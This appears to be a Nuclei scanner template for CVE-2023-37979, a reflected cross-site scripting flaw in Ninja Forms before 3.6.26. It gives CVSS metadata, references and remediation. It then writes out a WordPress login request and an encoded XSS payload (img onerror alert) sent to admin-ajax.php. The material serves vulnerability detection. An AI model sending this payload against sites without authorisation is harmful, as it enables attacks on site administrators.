id: CVE-2023-37979 info: name: Ninja Forms < 3.6.26 - Cross-Site Scripting author: r3Y3r53 severity: medium description: | The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin remediation: Fixed in version 3.6.26 reference: - https://nvd.nist.gov/vuln/detail/CVE-2023-37979 - https://wpscan.com/vulnerability/3c7c65e9-c4fd-4d98-ae16-77abffbf7348 - https://packetstormsecurity.com/files/173983/WordPress-Ninja-Forms-3.6.25-Cross-Site-Scripting.html - http://packetstormsecurity.com/files/173983/WordPress-Ninja-Forms-3.6.25-Cross-Site-Scripting.html - https://patchstack.com/articles/multiple-high-severity-vulnerabilities-in-ninja-forms-plugin?_s_id=cve classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-37979 cwe-id: CWE-79 epss-score: 0.00098 epss-percentile: 0.4041 cpe: cpe:2.3:a:ninjaforms:ninja_forms:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: ninjaforms product: ninja_forms framework: wordpress publicwww-query: /wp-content/plugins/ninja-forms/ tags: wpscan,packetstorm,cve,cve2023,xss,wordpress,authenticated,wp-plugin,wp,ninjaforms http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=nf_batch_process&batch_type=import_form_template&extraData%5Btemplate%5D=formtemplate-contactformd&method_override=_respond&data=Mehran%7D%7D%3Cimg+src%3Donerror%3Dalert%28document.domain%29%3E matchers: - type: dsl dsl: - 'contains(content_type_2, "text/html")' - 'contains(body_2, "") && contains(body_2, "import_form_template")' - 'status_code_2 == 200' condition: and # digest: 490a0046304402206f544e89ff9df3e2bf375353136dc9abfe2895e1fff0027377d4f98939ed4c85022052b9c6370a43ec07241ab9e475078715f59c71cecd1b691252f4843b78291f5d:922c64590222798bb761d5b6d8e72950